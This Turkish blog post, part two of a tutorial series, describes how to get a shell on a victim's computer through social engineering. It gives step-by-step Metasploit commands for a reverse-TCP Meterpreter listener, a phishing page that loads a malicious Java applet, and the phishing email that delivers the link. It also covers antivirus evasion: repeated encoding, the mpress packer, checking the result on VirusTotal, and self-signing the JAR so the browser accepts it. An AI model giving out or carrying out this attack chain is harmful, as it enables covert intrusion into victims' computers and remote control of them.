27 Ocak 2015

Sosyal Mühendislik Yöntemiyle Kurban Bilgisayarına Shell Açma - Bölüm-2:Saldırının Gerçekleştirilmesi

Sosyal Mühendislik Yöntemiyle Kurban Bilgisayarına Shell Açma konulu makalemizin ilk bölümünde, Metasploit console (msfconsole) üzerinde yapılacak işlemler ve browser aracılığı ile metasploit üzerinde çalışan HTTP sunucusuna erişmek ve Jar dosyasını indirmek için yapılacak işlemlerden bahsettik. Yazımızın ikinci ve son bölümü olan bu bölümde ise sahte web sayfasının oluşturulması ve sunulması için izlenecek adımlardan, metasploit console üzerinden multi handler exploit’unun çalıştırılması için izlenecek adımlardan ve kurbanın oluşturulan web sayfasının linkine tıklanmasının sağlanması ve kurban bilgisayara erişim için izlenecek adımlardan bahsedeceğiz. Ek olarak Antivirüs’lerden mümkün olduğunca kaçınabilmek için JAR dosyasının ve dosya içindeki EXE dosyasının oluşturulması için izlenebilecek yöntemlere de değineceğiz.



Sahte Web Sayfasının Oluşturulması ve Sunulması İçin İzlenecek Adımlar


Sahte web sayfası kullanılacak sosyal mühendislik senaryosuna uygun olarak hazırlanmalı, ancak Jar payload’umuzun çağrılabilmesi için gerekli Applet etiketini barındırmalıdır.
Sosyal mühendislik senaryomuza uygun bir dizin yapısı XAMPP dizininin altındaki htdocs dizini altında oluşturulur ve oluşturulan HTML dosyası Jar dosyamızla birlikte bu dizinin altına yerleştirilir. Phishing mailine yerleştirilecek URL’de bu dizin ve dosya adını içerecek (ve tabi gerçek test sırasında alan adı olarak internet IP adresimizi barındıracak) biçimde oluşturulur.

  • Appletin çağrılacağı HTML sayfasının hazırlanması (bu sayfanın içeriği senaryoya uygun olmalıdır, buradaki örnek bir phishing saldırısı için çok inandırıcı değildir, sadece teknik olarak saldırının gerçekleştirilmesi için minimum içeriği barındırmaktadır ve metasploit tarafından üretilen html sayfa içeriği aynen kullanılmıştır.)

XAMPP üzerinden Apache servisi başlatılır. Ancak payload’umuz 443 portuna bağlanacak biçimde ayarlanmış ise Apache’nin 443 portunu işgal etmemesi gereklidir. Çünkü daha sonra başlatılacak olan handler exploit’umuz bu durumda 443 portuna bind edemez(Bu konuya ilişkin ayrıntılı bilgi birinci bölümde verilmişti).

  • XAMPP sunucusunun çalıştırılması ve Apache http servisinin başlatılması (Apache httpd-ssl.conf konfigürasyon dosyasının 443 portunun kullanılmayacak biçimde düzenlenmesi kritiktir, çünkü eğer bu port XAMPP tarafından işgal edilirse daha sonra metasploit multi handler tarafından bu port üzerinden dinleme yapılamayacak ve saldırı başarıya ulaşamayacaktır).


Metasploit Console Üzerinden Multi Handler Exploit’unun Çalıştırılması

Metasploit console üzerinde “use exploit/multi/handler” komutu çalıştırılarak handler exploit’u çalıştırılır.
  • Metasploit console kullanılarak multi handler exploit’unun çalıştırılması (bu handler sayesinde appleti çalıştıran kurbanlardan alınan bağlantılan session’lar şeklinde ele alınacak ve her bir bağlantı session’ı üzerinden meterpreter komutları çalıştırılabilecektir)



“set LPORT 443” komutu ile öntanımlı 4444 portu 443 portu olarak (veya payload oluşturulurken hangi port öngörülmüşse) değiştirilir.

  • Maalesef “show options” komutu handler’ın dinleyeceği portu değiştirmek için gerekli opsiyon parametresini göstermemektedir. Ancak LPORT parametresini denediğimizde işe yaramaktadır. Daha önce payload’umuzu 443 portundan bağlanacak biçimde oluşturduğumuzdan bu portu kullanmalıyız (tabi internet senaryosunda modemden port forwarding yapmalıyız. Port forwarding için aynı portları kullanmak gibi bir mecburiyetimiz yoktur, yani internet IP’mizin 443 portunu pek tabi ki kendi bilgisayarımız üzerindeki 4444 portuna forward edebiliriz. Bu durumda default parametre de işimizi görebilir)

Aşağıda LPORT parametresini tanımladığımız halde halen show options komutundan sonra bu tanımın görülmediği gözlenmektedir.



“exploit” komutu ile handler başlatılır.


Kurbanın Oluşturulan Web Sayfasının Linkine Tıklanmasının Sağlanması ve Kurban Bilgisayara Erişim


Kurban kullanıcıya internet IP adresimiz (test ortamında lokal IP adresi de kullanılabilir, ancak payload oluşturulurken meterpreter reverse tcp payloadunun LHOST özelliği lokal IP adresimiz olmalıdır) ve senaryoya uygun biçimde oluşturulmuş dizin ve HTML dosya adı’ndan oluşan link bir phishing mail’i ile gönderilir.
  • Kurbanın tıklamasını sağlayacağımız URL aşağıdaki gibi olacaktır (tabi IP adresimiz internet IP adresimiz olacaktır)

Kurban linke tıkladığında bir applet güvenlik uyarısı ile tarayıcı tarafından uyarılır. Kullanıcı buna rağmen “Run” düğmesine tıklarsa applet çalışır ve Jar arşivinde bulanan exe dosyasını kullanıcı bilgisayarının diskine yazdıktan sonra çalıştırır. Böylece kurban bilgisayar handler’ımıza bağlanır ve biz meterpreter komutlarını çalıştırmaya başlayabiliriz.
  • Bu URL çağrıldığında browser’da görüntülenen güvenlik uyarısı aşağıdaki gibidir. Kurban run düğmesini tıkladığında applet çalışacak, Jar dosyası içinde yer alan exe exploit payload’unu kurban bilgisayarın dosya sistemine yazacak ve çalıştıracaktır. Bu noktadan itibaren kurban bilgisayar handler exploit’umuzu çalıştırdığımız bilgisayarımıza 443 portundan bağlanacaktır.





  • Run düğmesine bastıktan sonra browser ve handler ekranları aşağıdaki gibi olacaktır. Aşağıdaki örnekte lokal ağdan bağlantı sağlamak için oluşturduğumuz payload’da bağlanılacak IP adresi olarak lokal IP adresi kullanılmıştır. Gerçek senaryoda bu IP yukarıda da örneği verildiği gibi internet IP adresimiz olacaktır. Handler ekranında bağlantının sağlandığı görülmektedir.



  • Bu noktadan sonra bağlanan bilgisayar üzerinde meterpreter komutları çalıştırılabilir, veya shell meterpreter komutuyla karşı bilgisayarın komut satırına düşülebilir.



  • Birden fazla kurban bilgisayarın bağlantı kurması halinde mevcut session “background” komutu ile arka plana gönderilebilir ve diğer session ile interaktif bağlantıya geçilebilir. Bunun için aşağıdaki komut kullanılır:
“sessions –i 2” (burada –i’den sonra session numarası kullanılır, aşağıdaki örnekte tek bir session olduğundan tekrar 1. Session ile interaktif olunacaktır.)





Antivirüs’lerden Mümkün Olduğunca Kaçınabilmek İçin JAR Dosyasının ve Dosya İçindeki EXE Dosyasının Oluşturulması Sırasında İzlenebilecek Adımlar


Daha önce oluşturulmuş olan Jar dosyasının içindeki MANIFEST dizini hariç diğer dizin ve dosyalar Jar dosyası RAR dosyasına çevrilerek boş bir dizinin içine çıkarılır.
Mevcut Jar arşivinin içindeki EXE payload’u Metasploit ile tekrar oluşturulur. Bunun için aşağıdaki komutlar kullanılır:
  • Meterpreter payload’una geçmek için: “use payload/windows/meterpreter/reverse_tcp”
  • Payload parametrelerini görevilmek için “show options” komutu çalıştırılır. Yukarıdaki payload için LHOST parametresi daha önce de belirtildiği gibi internet IP adresi ve LPORT parametresi de yine http veya https portlarından biri olarak belirtilir. Web sitesinin yayınlanacağı IP adresi ile reverse shell açılacak IP adresi aynı olacaksa (ki tek bir ADSL modem kullanılıyorsa öyle olacaktır) buradaki portun 443 olarak belirlenmesi gerekecektir. Çünkü port forwarding yapılırken TCP 80 portu zaten phishing sitesi için kullanılmış olacaktır.
  • Encoder’ların isimlerini görebilmek için: “show encoders”
  • Bizim etkili bulduğumuz encoder ve kodlama sayısı parametresi için şu komut çalıştırılır ve EXE payload’u disk üzerine kaydedilir: “generate –e x86/bloxor  -c 5 –t EXE –f C:\test.exe”
  • Metasploit payload’u üretildikten sonra yakalanma riskini daha da azaltabilmek için “mpress” packer’ını kullanabilirsiniz. Mpress şu adresten indirilebilir: http://www.matcode.com/mpress.htm
  • Ürettiğiniz payload dosyasının hangi antivirüsler tarafından yakalanabildiğini test etmek için VirusTotal web sitesinden faydalanabilirsiniz.

Bu aşamadan sonra Jar arşivinin tekrar oluşturulması ve daha sonra imzalanması gerekecektir. İmzalama işleminin yapılmaması halinde tarayıcı Jar dosyasını asla kabul etmeyecektir. Bunun için yukarıda “test.exe” olarak adlandırılan exe dosyasının ismi daha önceden oluşturulmuş olan Jar arşivinin içinden çıkarılan exe dosyasının ismi ile değiştirilir (ki bu isim Metasploit tarafından çok da anlamlı olmayan bir isim olarak belirlenmektedir) ve önceki exe dosyası yeni oluşturduğumuz dosya ile ezilir. Daha sonra şu komutla yeni Jar arşivi oluşturulur (jar komutunun çalıştırılabilmesi için bilgisayarınızda Java SDK kurulumu yapılmış ve Path çevresel değişkeninize Java SDK kurulumu içindeki bin dizininin eklenmiş olması gereklidir):

  • ”jar cf NumaraGoruntuleme.jar *”

Jar arşivi oluşturulduktan sonra imzalama işlemi için şu web sitesinden faydalanılabilir “http://wiki.plexinfo.net/?title=How_to_sign_JAR_files” veya aşağıdaki komutlar çalıştırılarak sertifika üretme ve imzalama işlemleri gerçekleştirilebilir:

  • keytool -genkey -keystore myKeystore -alias myself (bu adımda sorulacak sorulara yanıt girmek gerekecektir)
  • keytool -selfcert -alias myself -keystore myKeystore
  • jarsigner -keystore myKeystore test.jar myself (burada test.jar dosyasının ismini kendi senaryonuzda kullandığınız jar dosya ismi ile değiştiriniz)

Böylece tarayıcı tarafından kabul edilebilir şekilde imzalanmış ve antivirüs’lerden mümkün olduğu mertebede kaçabilen bir payload elde etmiş olursunuz. Bu noktadan sonra yeni jar arşivinizi uygun phishing site dizinine aktarmanız gerekir.


<<Önceki Bölüm